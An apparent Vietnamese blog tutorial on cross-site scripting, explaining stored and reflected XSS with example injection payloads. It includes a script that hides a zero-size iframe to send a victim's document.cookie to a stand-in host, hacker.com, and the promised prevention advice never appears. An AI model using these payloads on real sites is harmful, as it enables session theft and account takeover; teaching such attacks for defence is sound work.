Tìm hiểu kỹ thuật tấn công và phòng chống lỗi XSS (Cross-Site Scripting) trên website

Các kỹ thuật tấn công  website mà hacker thường sử dụng để lấy cắp, phá hỏng dữ liệu trên hệ thống
ngoài sql injection còn có xss (cross - site scripting) và csrf
bạn đọc tìm hiểu kỹ thuật tấn công CSRF tại đây
bài viết này mình trình bày về kỹ thuật tấn công dạng XSS (Cross-Site Scripting) - kỹ thuật này không tấn công vào CSDL hệ thống như  SQL injection mà chúng tấn công trực tiếp từ phía người dùng bằng cách lừa thằng quản trị website =D xâm nhập hệ thống bằng các đoạn mã đơn giản để lấy cắp cookies và session từ đó chúng có thể thao túng người dùng cướp quyền truy cập tài khoản mà không cần tới  mật khẩu.

Cross-site Scripting được phân thành 2 loại lỗi dưới đây
thứ nhất: Lỗi Stored XSS
dạng lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server như trong CSDL dưới dạng các comment bình luận bài viết, các message trong diễn đàn (forum) hoặc các vistor log.
Để hình dung rõ được bạn coi ví dụ sau:

Thay vì nhập những dòng comment trên, ta nhập đoạn mã <script>alert("XSS")</script>
đoạn mã trên được chèn vào mục comment và sẽ thực thi lệnh khi ta chọn submit (send) nội dung. thông điệp đó được chèn vào CSDL hệ thống. Ngoài trường comment, ta có thể thông qua các điểm đầu vào input, form, text area,...mà chèn vào các đoạn mã nguy hiểm đưa vào hệ thống (nhất là form mua hàng, thanh toán,...)
Bạn đọc coi toàn bộ kịch bản tấn công áp dụng kỹ thuật XSS dưới đây để bao quát rõ hơn

Thứ hai là: Reflected XSS
Khác với Stored-XSS, Reflected XSS chèn đoạn mã khai thác thông tin không được lưu trữ trên server
Hình thức tấn công là lợi dụng vào các form search, khi nhập từ khoá vào ô tìm kiếm mà không hiển thị kết quả tìm kiếm, ta nhập 1 đoạn mã tại trường này có dạng "Tên đường dẫn url website cần xâm nhập/xss/reflected/index.php?q=<script>alert("XSS")</script>". Chỗ đường dẫn này tuỳ vào mã nguồn hệ thống (website) để điền cho phù hợp
Đường dẫn trên chỉ chạy trên url người dùng chứ không lưu vào hệ CSDL, và người dùng bị tấn công khi chạy trên url đó mà thôi.
Kịch bản điển hình nhất khi khai thác XSS là ta = chèn đoạn javascript như sau vào website:
1<script type="text/javascript">
2document.write("<iframe width=0 height=0
3src=http://hacker.com/getcookie.php?cookie=",
4document.cookie,">");
5</script>
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie,ta  có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.

Tổng quát lại:
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
  • Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
  • Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc.

Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.

translate

Hôm nay đọc gì

Lưu trữ

view

view